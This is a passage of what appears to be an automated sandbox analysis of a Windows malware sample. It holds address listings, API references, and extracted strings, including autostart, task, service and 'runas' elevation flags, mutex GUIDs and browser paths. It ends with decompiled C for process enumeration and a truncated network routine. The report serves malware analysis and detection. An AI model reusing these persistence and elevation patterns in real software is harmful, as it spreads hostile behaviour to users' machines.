0x00419fda
0x00419fe0
0x00419fe2
0x00419fe4
0x00419fe4
0x00419fe6
0x00419ff1
0x00419ff9
0x0041a005
0x0041a00a
0x0041a015
0x0041a017
0x0041a019
0x0041a01c
0x0041b669
0x0041b66e
0x00000000
0x0041a022
0x0041a02a
0x0041a030
0x0041a036
0x0041a038
0x0041a03d
0x0041a048
0x0041a04d
0x0041a058
0x0041a05a
0x0041a05c
0x0041a05f
0x0041b673
0x0041b673
0x0041b678
0x0041b67d
0x0041b67e
0x0041b67f
0x0041b680
0x0041b681
0x0041b683
0x0041b68a
0x0041b692
0x0041b697
0x0041b697
0x0041b69a
0x0041b6a4
0x0041b6ae
0x0041b6b5
0x0041b6bc
0x0041b6c4
0x0041b6c9
0x0041b6c9
0x0041b6ce
0x0041b6d8
0x0041b6e2
0x0041b6e9
0x0041b6ef
0x0041b6f1
0x0041b6fa
0x0041b705
0x0041b70a
0x0041b70d
0x0041b717
0x0041b721
0x0041b721
0x0041b72b
0x0041b731
0x0041b733
0x0041b73c
0x0041b747
0x0041b74c
0x0041b74f
0x0041b759
0x0041b763
0x0041b763
0x0041b76d
0x0041b773
0x0041b775
0x0041b77e
0x0041b789
0x0041b78e
0x0041b791
0x0041b79b
0x0041b7a5
0x0041b7a5
0x0041b7af
0x0041b7b6
0x0041b7be
0x0041b7c3
0x0041b7c3
0x0041b7c8
0x0041b7d2
0x0041b7dc
0x0041b7e3
0x0041b7ea
0x0041b7f2
0x0041b7f7
0x0041b7f7
0x0041b7fc
0x0041b806
0x0041b810
0x0041b817
0x0041b81e
0x0041b826
0x0041b82b
0x0041b82b
0x0041b830
0x0041b83a
0x0041b844
0x0041b84b
0x0041b852
0x0041b85a
0x0041b85f
0x0041b85f
0x0041b864
0x0041b86e
0x0041b878
0x0041b87f
0x0041b883
0x0041b888
0x0041b88d
0x0041b890
0x0041b897
0x0041b899
0x0041b8a0
0x0041b8a5
0x0041a065
0x0041a06d
0x0041a073
0x0041a079
0x0041a07b
0x0041a08f
0x0041a099
0x0041a09d
0x0041a09f
0x0041a0a3
0x0041a0a7
0x0041a0ac
0x0041a0bb
0x0041a0c2
0x0041a0c8
0x0041a0ce
0x0041a0e7
0x0041a0f3
0x0041a0fb
0x0041a100
0x0041a10a
0x0041a10c
0x0041a10e
0x0041a112
0x0041a116
0x0041a11b
0x0041a11b
0x0041a11e
0x0041a120
0x0041a127
0x0041a130
0x0041a13b
0x0041a13b
0x0041a140
0x0041a148
0x0041a151
0x0041a156
0x0041a156
0x0041a159
0x0041a16d
0x0041a173
0x0041a181
0x0041a187
0x0041a18c
0x0041a190
0x0041a33d
0x0041a341
0x0041a347
0x0041a34e
0x0041a45c
0x0041a461
0x0041a354
0x0041a359
0x0041a359
0x0041a464
0x0041a48a
0x0041a48f
0x0041a493
0x0041a496
0x0041a4a1
0x0041a4a1
0x0041a4a3
0x0041a4ae
0x0041a4b6
0x0041a4b6
0x0041a4b9
0x0041a4bc
0x0041a4c2
0x0041a4c7
0x0041a4d0
0x0041a4d0
0x0041a4d2
0x0041a4d3
0x0041a4d3
0x0041a4d7
0x0041a4d7
0x0041a4be
0x0041a4be
0x0041a4be
0x0041a4db
0x0041a4e4
0x0041a4e9
0x0041a4ea
0x0041a4ea
0x0041a4ef
0x0041a4fe
0x0041a506
0x0041a50c
0x0041a51b
0x0041a529
0x0041a531
0x0041a538
0x0041a547
0x0041a553
0x0041a55e
0x0041a563
0x0041a567
0x0041a56a
0x0041a56e
0x0041a570
0x0041a6ea
0x0041a6ea
0x0041a576
0x0041a576
0x0041a578
0x00000000
0x0041a57e
0x0041a580
0x0041a588
0x0041a58b
0x0041a59b
0x0041a5a4
0x0041a5af
0x0041a5b2
0x0041a5b6
0x0041a5b8
0x0041a5bf
0x0041a5c7
0x0041a5cf
0x0041a5d6
0x0041a5db
0x0041a5de
0x0041a5e3
0x0041a5e9
0x0041a5ee
0x0041a5ee
0x0041a5f1
0x0041a5f1
0x0041a578
0x0041a5f5
0x0041a602
0x0041a6f9
0x0041a6f9
0x00000000
0x0041a608
0x0041a608
0x0041a60a
0x0041a702
0x0041a702
0x0041a709
0x00000000
0x0041a70f
0x0041a70f
0x0041a711
0x0041a717
0x0041a719
0x0041a72a
0x0041a72f
0x0041a733
0x0041a736
0x0041a741
0x0041a741
0x0041a743
0x0041a74e
0x0041a752
0x0041a752
0x0041a755
0x0041a758
0x0041a75e
0x0041a760
0x0041a763
0x0041a763
0x0041a765
0x0041a766
0x0041a766
0x0041a76a
0x0041a76a
0x0041a75a
0x0041a75a
0x0041a75a
0x0041a76c
0x0041a775
0x0041a77a
0x0041a77b
0x0041a77b
0x0041a784
0x0041a788
0x0041a78e
0x0041a790
0x0041a792
0x0041a797
0x0041a797
0x0041a7bb
0x0041a7c1
0x0041a7c9
0x0041a7ce
0x0041a7d4
0x0041a7d9
0x0041a7d9
0x0041a7ce
0x0041a719
0x0041a7e7
0x0041a7ec
0x0041a7ef
0x0041a7ef
0x0041a7f1
0x0041a7f1
0x0041a7f9
0x0041a803
0x0041a813
0x0041a819
0x0041a81e
0x0041a82f
0x0041a83b
0x0041a841
0x0041a842
0x0041a842
0x0041a852
0x0041a854
0x0041a85b
0x0041a87a
0x0041a886
0x0041a88c
0x0041a895
0x0041a89a
0x0041a89a
0x0041a8af
0x0041a8af
0x00000000
0x0041a610
0x0041a610
0x0041a612
0x00000000
0x0041a618
0x0041a618
0x0041a61e
0x0041a8b6
0x0041a8c5
0x0041a8ca
0x0041a8d5
0x0041a8da
0x0041a8de
0x0041a8e1
0x0041a8ec
0x0041a8ec
0x0041a8ee
0x0041a8f9
0x0041a901
0x0041a901
0x0041a904
0x0041a907
0x0041a90d
0x0041a90f
0x0041a912
0x0041a912
0x0041a914
0x0041a915
0x0041a915
0x0041a919
0x0041a919
0x0041a909
0x0041a909
0x0041a909
0x0041a91b
0x0041a924
0x0041a929
0x0041a92a
0x0041a92a
0x0041a92f
0x0041a932
0x0041a93a
0x0041a93c
0x0041a944
0x0041a94b
0x0041a952
0x0041a955
0x0041a95c
0x0041a962
0x0041a967
0x0041a967
0x0041a970
0x0041a970
0x0041a973
0x0041a976
0x0041a976
0x0041a97b
0x0041a97b
0x0041a97d
0x0041a95e
0x0041a95e
0x0041a95e
0x0041a97f
0x0041a987
0x0041a992
0x0041a997
0x0041a99a
0x0041a99e
0x0041a9a0
0x0041a9a0
0x0041a9a6
0x0041a9ab
0x0041a9b0
0x0041a9b4
0x0041a9ba
0x0041a9bf
0x0041a9bf
0x0041a9c6
0x0041a9cc
0x0041a9cf
0x0041a9d8
0x0041a9dd
0x0041a9df
0x0041a9e1
0x0041a9e8
0x0041a9ef
0x0041a9f2
0x0041a9f9
0x0041a9ff
0x0041aa04
0x0041aa04
0x0041aa07
0x0041aa07
0x0041aa0a
0x0041aa0d
0x0041aa0d
0x0041aa12
0x0041aa12
0x0041aa14
0x0041a9fb
0x0041a9fb
0x0041a9fb
0x0041aa16
0x0041aa1e
0x0041aa29
0x0041aa2e
0x0041aa31
0x0041aa35
0x0041aa37
0x0041aa37
0x0041aa3e
0x0041aa44
0x0041aa49
0x0041aa4f
0x0041aa54
0x0041aa54
0x0041aa57
0x0041aa5f
0x0041aa65
0x0041aa6a
0x0041aa6a
0x0041aa70
0x0041aa70
0x0041aa73
0x0041aa76
0x0041aa76
0x0041aa7b
0x0041aa7b
0x0041aa7d
0x0041aa61
0x0041aa61
0x0041aa61
0x0041aa7f
0x0041aa8b
0x0041aa9b
0x0041aaa0
0x0041aaa4
0x0041aaa7
0x0041aab2
0x0041aab2
0x0041aab4
0x0041aabf
0x0041aac7
0x0041aac7
0x0041aaca
0x0041aacd
0x0041aad3
0x0041aad5
0x0041aad8
0x0041aad8
0x0041aada
0x0041aadb
0x0041aadb
0x0041aadf
0x0041aadf
0x0041aacf
0x0041aacf
0x0041aacf
0x0041aae1
0x0041aaea
0x0041aaef
0x0041aaf0
0x0041aaf0
0x0041aaf5
0x0041aaff
0x0041ab03
0x0041ab07
0x0041ab0e
0x0041ab16
0x0041ab18
0x0041ab2c
0x0041ab2e
0x0041ab34
0x0041ab37
0x0041ab39
0x0041ab3b
0x0041ab3f
0x0041ab43
0x0041ab48
0x0041ab48
0x0041ab4d
0x0041ab54
0x0041ab5b
0x0041ab5e
0x0041ab62
0x0041ab7b
0x0041ab7d
0x0041ab64
0x0041ab67
0x0041ab67
0x0041ab68
0x0041ab6f
0x0041ab74
0x0041ab74
0x0041ab68
0x0041ab86
0x0041ab8c
0x0041ab8f
0x0041ab91
0x0041ab98
0x0041ab9f
0x0041ab9f
0x0041aba2
0x0041aba7
0x0041abad
0x0041abb2
0x0041abb2
0x0041abc0
0x0041abc5
0x0041abc9
0x0041abcc
0x0041abd7
0x0041abd7
0x0041abd9
0x0041abe4
0x0041abf0
0x0041abf0
0x0041abf3
0x0041abf6
0x0041abfc
0x0041abfe
0x0041ac01
0x0041ac01
0x0041ac03
0x0041ac04
0x0041ac04
0x0041ac08
0x0041ac08
0x0041abf8
0x0041abf8
0x0041abf8
0x0041ac0a
0x0041ac13
0x0041ac18
0x0041ac19
0x0041ac19
0x0041ac1e
0x0041ac28
0x0041ac2c
0x0041ac30
0x0041ac37
0x0041ac3f
0x0041ac41
0x0041ac55
0x0041ac57
0x0041ac5d
0x0041ac60
0x0041ac62
0x0041ac64
0x0041ac68
0x0041ac6c
0x0041ac71
0x0041ac71
0x0041ac76
0x0041ac7d
0x0041ac84
0x0041ac87
0x0041ac8b
0x0041aca4
0x0041aca6
0x0041ac8d
0x0041ac90
0x0041ac90
0x0041ac91
0x0041ac98
0x0041ac9d
0x0041ac9d
0x0041ac91
0x0041acaf
0x0041acb5
0x0041acb8
0x0041acba
0x0041acc1
0x0041acc8
0x0041acc8
0x0041accb
0x0041acd0
0x0041acd6
0x0041acdb
0x0041acdb
0x0041ace9
0x0041acee
0x0041acf2
0x0041acf5
0x0041ad00
0x0041ad00
0x0041ad02
0x0041ad0d
0x0041ad15
0x0041ad15
0x0041ad18
0x0041ad1b
0x0041ad21
0x0041ad23
0x0041ad26
0x0041ad26
0x0041ad28
0x0041ad29
0x0041ad29
0x0041ad2d
0x0041ad2d
0x0041ad1d
0x0041ad1d
0x0041ad1d
0x0041ad2f
0x0041ad38
0x0041ad3d
0x0041ad3e
0x0041ad3e
0x0041ad43
0x0041ad4d
0x0041ad51
0x0041ad55
0x0041ad5c
0x0041ad64
0x0041ad66
0x0041ad71
0x0041ad76
0x0041ad7a
0x0041ad7c
0x0041ad7f
0x0041ad85
0x0041ad87
0x0041ad89
0x0041ad8d
0x0041ad91
0x0041ad96
0x0041ad96
0x0041ad9b
0x0041ada2
0x0041ada9
0x0041adac
0x0041adb0
0x0041adc9
0x0041adcb
0x0041adb2
0x0041adb5
0x0041adb5
0x0041adb6
0x0041adbd
0x0041adc2
0x0041adc2
0x0041adb6
0x0041add4
0x0041adda
0x0041addd
0x0041addf
0x0041ade6
0x0041aded
0x0041aded
0x0041adf0
0x0041adf5
0x0041adfb
0x0041ae00
0x0041ae00
0x0041ae03
0x0041ae07
0x0041ae18
0x0041ae20
0x0041ae25
0x0041ae2e
0x0041ae37
0x0041ae3c
0x0041ae41
0x0041ae47
0x0041ae4c
0x0041ae4c
0x0041ae4f
0x0041ae53
0x0041ae64
0x0041ae6c
0x0041ae71
0x0041ae7d
0x0041ae82
0x0041ae87
0x0041ae8d
0x0041ae92
0x0041ae92
0x0041ae95
0x0041ae99
0x0041aeaa
0x0041aeb2
0x0041aeb7
0x0041aec3
0x0041aec8
0x0041aecd
0x0041aed3
0x0041aed8
0x0041aed8
0x0041aedb
0x0041aedf
0x0041aef0
0x0041aef8
0x0041aefd
0x0041af09
0x0041af0e
0x0041af13
0x0041af19
0x0041af1e
0x0041af1e
0x0041af21
0x0041af25
0x0041af36
0x0041af3e
0x0041af43
0x0041af4f
0x0041af54
0x0041af59
0x0041af5f
0x0041af64
0x0041af64
0x0041af67
0x0041af6b
0x0041af7c
0x0041af84
0x0041af89
0x0041af95
0x0041af9a
0x0041af9f
0x0041afa5
0x0041afaa
0x0041afaa
0x0041afad
0x0041afb1
0x0041afc2
0x0041afca
0x0041afcf
0x0041afdb
0x0041afe0
0x0041afe5
0x0041afeb
0x0041aff0
0x0041aff0
0x0041affc
0x0041b00e
0x0041b01a
0x0041b020
0x0041b029
0x0041b037
0x0041b045
0x0041b04c
0x0041b04c
0x0041b054
0x0041b05d
0x0041b06b
0x0041b077
0x0041b080
0x0041b08e
0x0041b09a
0x0041b0a3
0x0041b0b1
0x0041b0bd
0x0041b0c6
0x0041b0d4
0x0041b0e0
0x0041b0e9
0x0041b0f7
0x0041b103
0x0041b10c
0x0041b111
0x0041b111
0x0041b11b
0x0041b120
0x0041b124
0x0041b12b
0x0041b130
0x0041b136
0x0041b13f
0x0041b13f
0x0041b150
0x0041b159
0x0041b169
0x0041b16e
0x0041b178
0x0041b17d
0x0041b181
0x0041b190
0x0041b19a
0x0041b19f
0x0041b1a0
0x0041b1a0
0x0041b1a9
0x0041b1ba
0x0041b1c4
0x0041b1c9
0x0041b1d3
0x0041b1d8
0x0041b1e5
0x0041b1ee
0x0041b1f3
0x0041b20a
0x0041b21d
0x0041b222
0x0041b224
0x0041b230
0x0041b23b
0x0041b240
0x0041b246
0x0041b251
0x0041b259
0x0041b260
0x0041b269
0x0041b27d
0x0041b28c
0x0041b291
0x0041b297
0x0041b299
0x0041b29f
0x0041b2af
0x0041b2b4
0x0041b2bb
0x0041b2c7
0x0041b2d0
0x0041b2e8
0x0041b2ed
0x0041b2ed
0x0041b230
0x0041b2fd
0x0041b303
0x0041b30c
0x0041b314
0x0041b31d
0x0041b322
0x0041b336
0x0041b33e
0x0041b346
0x0041b34b
0x0041b34d
0x0041b35f
0x0041b369
0x0041b36b
0x0041b374
0x0041b389
0x0041b392
0x0041b3a0
0x0041b3ae
0x0041b3b7
0x0041b3c5
0x0041b3dd
0x0041b3e2
0x0041b3e4
0x0041b3ea
0x0041b3f0
0x0041b3fa
0x0041b40c
0x0041b418
0x0041b41d
0x0041b422
0x0041b428
0x0041b42d
0x0041b43d
0x0041b443
0x0041b449
0x0041b44f
0x0041b45d
0x0041b466
0x0041b47e
0x0041b483
0x0041b483
0x0041b3f0
0x0041b495
0x0041b49a
0x0041b4b3
0x0041b4bb
0x0041b4bd
0x0041b4c5
0x0041b4cd
0x0041b4d7
0x0041b4e7
0x0041b4e9
0x0041b4e9
0x0041b4c5
0x0041b4ed
0x0041b4fe
0x0041b500
0x0041b509
0x0041b510
0x0041b520
0x0041b522
0x0041b524
0x0041b526
0x0041b52e
0x0041b540
0x0041b542
0x0041b542
0x0041b526
0x0041b54e
0x0041b554
0x0041b554
0x0041b510
0x0041b55b
0x0041b560
0x0041b562
0x0041b56b
0x0041b570
0x0041b580
0x0041b582
0x0041b584
0x0041b586
0x0041b58e
0x0041b5a0
0x0041b5a2
0x0041b5a2
0x0041b586
0x0041b5ae
0x0041b5b4
0x0041b5b4
0x0041b570
0x0041b5bb
0x0041b5c2
0x0041b5c7
0x0041b5c9
0x0041b5c9
0x0041b5ce
0x0041b5d0
0x0041b5d3
0x0041b5d3
0x0041b5d9
0x0041b5e4
0x0041b34f
0x0041b34f
0x0041b34f
0x0041b5ed
0x0041b5f9
0x0041b605
0x0041b611
0x0041b61d
0x0041a9d1
0x0041a9d1
0x0041a9d1
0x0041b629
0x0041a624
0x0041a624
0x0041a62a
0x0041a62c
0x00000000
0x0041a632
0x0041a63f
0x0041a652
0x0041a661
0x0041a66f
0x0041a67b
0x0041a686
0x0041a68d
0x0041a697
0x0041a6a2
0x0041a6a9
0x0041a6ac
0x0041a6b0
0x0041a6b2
0x0041a6b2
0x0041a6b4
0x0041a6c3
0x0041a6ce
0x0041a6d9
0x0041a6df
0x0041a6e1
0x0041a6fe
0x0041a6fe
0x00000000
0x0041a6e3
0x0041a6e3
0x0041a6e3
0x0041a6e1
0x0041a62c
0x0041a61e
0x0041a612
0x0041a60a
0x0041b635
0x0041b641
0x0041b64d
0x0041b659
0x0041b666
0x0041a466
0x0041a46d
0x0041a46f
0x0041a47c
0x0041a47c
0x0041a196
0x0041a196
0x0041a19d
0x0041a1a1
0x0041a1a7
0x0041a1b4
0x0041a1bc
0x0041a1c1
0x0041a1c4
0x0041a1c6
0x0041a1ca
0x00000000
0x00000000
0x0041a1df
0x0041a1eb
0x0041a1f3
0x0041a201
0x0041a20b
0x0041a20e
0x0041a217
0x0041a21a
0x0041a21f
0x0041a222
0x0041a226
0x0041a323
0x0041a323
0x0041a328
0x0041a32c
0x0041a32f
0x0041a333
0x0041a337
0x0041a1b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a22e
0x0041a236
0x0041a23b
0x0041a23e
0x0041a240
0x0041a244
0x0041a2d5
0x0041a2da
0x0041a2dd
0x0041a2df
0x0041a2f4
0x0041a2f9
0x0041a2fc
0x0041a2fe
0x0041a313
0x0041a318
0x0041a31b
0x0041a31d
0x0041a361
0x0041a371
0x0041a373
0x0041a380
0x0041a38f
0x0041a395
0x0041a3a3
0x0041a3a5
0x0041a3a7
0x00000000
0x00000000
0x0041a3af
0x0041a3b8
0x0041a3c7
0x0041a3c9
0x00000000
0x0041a3cb
0x0041a3cb
0x0041a3d0
0x0041a3d2
0x0041a3e3
0x0041a3f0
0x0041a3f2
0x0041a3ff
0x0041a3d4
0x0041a3d6
0x0041a3dc
0x00000000
0x0041a3dc
0x0041a3d2
0x00000000
0x0041a3c9
0x0041a406
0x0041a40e
0x0041a41b
0x0041a41d
0x0041a42b
0x0041a436
0x0041a43d
0x0041a44a
0x0041a44c
0x0041a459
0x00000000
0x00000000
0x00000000
0x0041a300
0x0041a300
0x00000000
0x0041a300
0x0041a2e1
0x0041a2e1
0x0041a31f
0x0041a31f
0x00000000
0x0041a31f
0x0041a24a
0x0041a24e
0x0041a25a
0x0041a267
0x0041a282
0x0041a28c
0x0041a293
0x0041a2a8
0x0041a2b2
0x0041a2b9
0x0041a2be
0x0041a2c1
0x0041a2c4
0x0041a2c8
0x00000000
0x0041a2c8
0x00000000
0x0041a244
0x0041a1b4
0x0041a190
0x0041a05f
0x00419fb4
0x00419fb4
0x00419fc1
0x00419fc1
0x00000000

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0078D380,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Windows\, xrefs: 0041AFF3
--ForNetRes, xrefs: 0041A22E
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--Task, xrefs: 0041A2CD
IsAutoStart, xrefs: 0041A1D0, 0041A273
7P, xrefs: 0041B164
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
x2Q, xrefs: 0041A856
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
IsNotAutoStart, xrefs: 0041A645
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsTask, xrefs: 0041A1EE, 0041A299
list<T> too long, xrefs: 0041B669, 0041B673
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
F:\, xrefs: 0041B397
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
IsNotTask, xrefs: 0041A654
C:\Windows\, xrefs: 0041AE0F
--Admin, xrefs: 0041A1B4, 0041A632
X1P, xrefs: 0041A485
%username%, xrefs: 0041B283
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
runas, xrefs: 0041A6CE
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files (x86)\Google\, xrefs: 0041B085
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
--AutoStart, xrefs: 0041A2EC
x*P, xrefs: 0041ACE4
C:\Program Files\Google\, xrefs: 0041AFB9
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
--Service, xrefs: 0041A30B
<, xrefs: 0041A67B

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: f861d408e3f0bd361e5407535fdbdb4c5b3297a71cc25ee421400f0b7a800433
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: f861d408e3f0bd361e5407535fdbdb4c5b3297a71cc25ee421400f0b7a800433
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00412220() {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				unsigned int _v20;
				unsigned int _v24;
				WCHAR* _v28;
				int _v32;
				char _v36;
				char _v2084;
				char _v43044;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t37;
				void* _t38;
				unsigned int _t40;
				void* _t50;
				struct HINSTANCE__* _t52;
				int _t56;
				signed int _t61;
				struct HINSTANCE__* _t62;
				void* _t63;
				struct HINSTANCE__* _t64;
				void* _t65;
				void* _t66;

				E0042F7C0(0xa820);
				_t56 = 0;
				_v32 = 0;
				_v28 = PathFindFileNameW( *(CommandLineToArgvW(GetCommandLineW(),  &_v32)));
				_t62 = LoadLibraryW(L"kernel32.dll");
				_v8 = GetProcAddress(_t62, "EnumProcesses");
				_v12 = GetProcAddress(_t62, "EnumProcessModules");
				_v16 = GetProcAddress(_t62, "GetModuleBaseNameW");
				_t37 = _v8;
				if(_t37 == 0) {
					_t52 = LoadLibraryW(L"Psapi.dll"); // executed
					_t64 = _t52;
					_v8 = GetProcAddress(_t64, "EnumProcesses");
					_v12 = GetProcAddress(_t64, "EnumProcessModules");
					_v16 = GetProcAddress(_t64, "GetModuleBaseNameW");
					_t37 = _v8;
				}
				_t38 =  *_t37( &_v43044, 0xa000,  &_v20); // executed
				if(_t38 != 0) {
					_t61 = 0;
					_t40 = _v20 >> 2;
					_v24 = _t40;
					if(_t40 != 0) {
						do {
							_t63 = OpenProcess(0x410, 0,  *(_t65 + _t61 * 4 - 0xa820));
							if(_t63 != 0) {
								_push( &_v36);
								_push(4);
								_push( &_v8);
								_push(_t63); // executed
								if(_v12() != 0) {
									_v16(_t63, _v8,  &_v2084, 0x400);
									_t50 = E00420235(_t56, _t61, _t63,  &_v2084, _v28);
									_t66 = _t66 + 8;
									if(_t50 == 0) {
										_t56 = _t56 + 1;
									}
								}
							}
							CloseHandle(_t63);
							_t61 = _t61 + 1;
						} while (_t61 < _v24);
					}
					return _t56;
				} else {
					return 1;
				}
			}

0x00412228
0x0041222f
0x00412232
0x00412253
0x00412262
0x00412272
0x0041227d
0x00412282
0x00412285
0x0041228a
0x00412291
0x00412297
0x004122a7
0x004122b2
0x004122b7
0x004122ba
0x004122ba
0x004122cd
0x004122d1
0x004122e2
0x004122e4
0x004122e7
0x004122ec
0x004122f0
0x00412304
0x00412308
0x0041230d
0x0041230e
0x00412313
0x00412314
0x0041231a
0x0041232c
0x00412339
0x0041233e
0x00412343
0x00412345
0x00412345
0x00412343
0x0041231a
0x00412347
0x0041234d
0x0041234e
0x004122f0
0x0041235b
0x004122d5
0x004122de
0x004122de

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0040CF10() {
				WCHAR* _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				WCHAR* _v24;
				char _v40;
				intOrPtr _v44;
				WCHAR* _v48;
				char _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				char _v88;
				intOrPtr _v92;
				WCHAR* _v96;
				char _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				char _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				long _v156;
				char _v10395;
				void _v10396;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t90;
				void* _t95;
				intOrPtr _t102;
				intOrPtr _t119;
				signed int _t122;
				void* _t128;
				WCHAR* _t129;
				WCHAR* _t131;
				intOrPtr* _t134;
				void* _t135;
				void* _t142;
				void* _t146;
				intOrPtr* _t147;
				void* _t149;
				signed int _t151;
				void* _t152;
				void* _t153;
				intOrPtr* _t157;
				void* _t158;
				void* _t159;
				intOrPtr _t160;
				void* _t161;

				_push(0xffffffff);
				_push(0x4ca850);
				_push( *[fs:0x0]);
